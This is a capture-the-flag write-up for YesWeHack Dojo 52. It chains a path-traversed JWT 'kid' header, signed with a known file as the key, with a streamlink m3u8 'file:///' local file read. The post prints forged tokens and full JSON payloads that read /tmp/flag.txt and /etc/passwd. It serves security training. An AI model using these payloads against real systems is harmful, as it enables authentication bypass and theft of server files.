Post

YesWeHack Dojo 52

YesWeHack Dojo 52

Introduction

Streamcore just dropped, letting you handle all your video in one simple service. Pipe your video streams from various services into a video player and enjoy!

⚠️ Note: To view the setup code for this challenge, click on settings ( icon) located at the top over the tab: INFO.

Code analysis

by looking at the code, we can see that our input source, reaches this first:

1
2
3
4
5
data_json = json.loads(unquote("<USER_INPUT>"))

filename = data_json["filename"]
content = data_json["content"]
token = data_json["token"]

the program uses json.loads() on the input, which creates a python object from the input, meaning our input should look something like this:

1
{"filename": "playlist","content": "m3u8 content", "token": "eyJ..."}

First vulnerability

Lets look for some vulnerable patterns!

First, we can see that verify_tokentakes the key it gets from load_key() as the key for its JWT token. Then we can see that the load_key() function reads from a file as the input.

1
2
3
4
5
6
7
8
9
def load_key(kid: str) -> bytes:
  with open(f"/tmp/keys/{kid}.txt", "rb") as f:
    return f.read()
    
def verify_token(token: str) -> dict:
    header = jwt.get_unverified_header(token)
    kid = header.get("kid")
    key = load_key(kid)
    return jwt.decode(token, key, algorithms=["HS256"])

This means that we control kid, since it did jwt.get_unverified_header(token) on the token, and used it as the JWT token’s secret value.

From here, I started thinking of which .txt files on the system had hardcoded values, and after digging around, I came across the settings:

Second “vulnerability”

by looking at the settings, we are able to see the following code:

1
2
3
4
5
6
7
8
9
10
11
# randomly generated, we can't do anything
with open(os.path.join("/tmp/keys", f"{secrets.token_hex(8)}.txt"), "w") as f:
    f.write(secrets.token_hex(32))

# target flag
with open("/tmp/flag.txt", "w") as f:
    f.write(flag)

# interesting, a hardcoded file in /tmp
with open("/tmp/README.txt", "w") as f:
    f.write("streamcore is a new project developed to handle u3m8 files more easily.")

since the keys file’s filename and content are both randomly generated, we probably are unable to guess it.

we also see that there is a flag written to /tmp/flag.txt, our target.

we also have README.md which is a hardcoded file written to /tmp/README.md!! this would be very helpful to us as this is our hardcoded value.

Third vulnerability

another strong hint we get is from the import header of the code:

1
2
3
4
import os, re, jwt, json
streamlink = import_v("streamlink", "8.3.0")
from urllib.parse import unquote
from jinja2 import Environment, FileSystemLoader

And important detail is that the streamlink 8.3.0 library is being used to load the m3u8 file, and when we google for “streamlink 8.3.0 vulnerability”, the first thing that shows up is this arbitrary local file read vulnerability on it!

This is exactly what we need, as we want to read a local file at /tmp/flag.txt

This is the POC provided from Streamlink 8.3.0 arbitrary local file read report

1
2
3
4
5
6
7
#EXTM3U
#EXT-X-VERSION:3
#EXT-X-TARGETDURATION:5
#EXT-X-PLAYLIST-TYPE:VOD
#EXTINF:5.0,
file:///etc/passwd
#EXT-X-ENDLIST

we will just have to modify this to /tmp/flag.txt to meet our needs!

Constraints

There are also 2 constraints that we have to meet, which are:

  1. that our JWT token needs to have the isadmin claim in the payload
  2. that our filename meets the r"^[A-Za-z0-9_-]+$" regex (which is also a hint that we can’t do /tmp/flag.txt here)
1
2
3
4
5
6
7
8
9
claims = verify_token(token)
if not claims.get("isadmin"):
	raise PermissionError("admin token required")

def valid_filename(filename: str):
    return re.match(r"^[A-Za-z0-9_-]+$", filename)

if valid_filename(filename) is None:
	raise ValueError(f"invalid filename given: {filename}")

Attack chain

With this we know that our attack chain would be:

  1. Craft the JWT
    1. Control the kid variable in the header of the JWT
    2. Have isadmin in the JWT data payload
    3. Sign the JWT with the hardcoded secret from README.md
  2. Use the arbitrary local file read vulnerability in streamlink 8.3.0
    1. modify the file to read /tmp/flag.txt
    2. add line breaks to make it a one liner
  3. Package it as a json and send as input!

Crafting inputs

creating JWT from jwt.io:

jwt

malicious .m3u8 file

#EXTM3U\n#EXT-X-VERSION:3\n#EXT-X-TARGETDURATION:5\n#EXT-X-PLAYLIST-TYPE:VOD\n#EXTINF:5.0,\nfile:///tmp/flag.txt\n#EXT-X-ENDLIST

finally, filename can be left as “playlist” because that just needs to pass the regex, and most m3u8 files just default to playlist.

pwn

final payload:

1
{"filename": "playlist","content": "#EXTM3U\n#EXT-X-VERSION:3\n#EXT-X-TARGETDURATION:5\n#EXT-X-PLAYLIST-TYPE:VOD\n#EXTINF:5.0,\nfile:///tmp/flag.txt\n#EXT-X-ENDLIST", "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii4uL1JFQURNRSJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaXNhZG1pbiI6dHJ1ZSwiaWF0IjoxNTE2MjM5MDIyfQ.0FcpfbvX1ImaBYgO7JF4QQp_8-nnmSEAIMWIjRc2rsY"}

we’ve pwned it! pwn

compact payload, removing the unnecessary data and headers in JWT:

1
{"filename": "playlist","content": "#EXTM3U\n#EXT-X-VERSION:3\n#EXT-X-TARGETDURATION:5\n#EXT-X-PLAYLIST-TYPE:VOD\n#EXTINF:5.0,\nfile:///tmp/flag.txt\n#EXT-X-ENDLIST", "token": "eyJhbGciOiJIUzI1NiIsImtpZCI6Ii4uL1JFQURNRSJ9.eyJpc2FkbWluIjp0cnVlfQ.czMHJz4ZZ4kiX7xsIvSfDNUtnAg0N5erbtlR1nJF-os"}
This post is licensed under CC BY 4.0 by the author.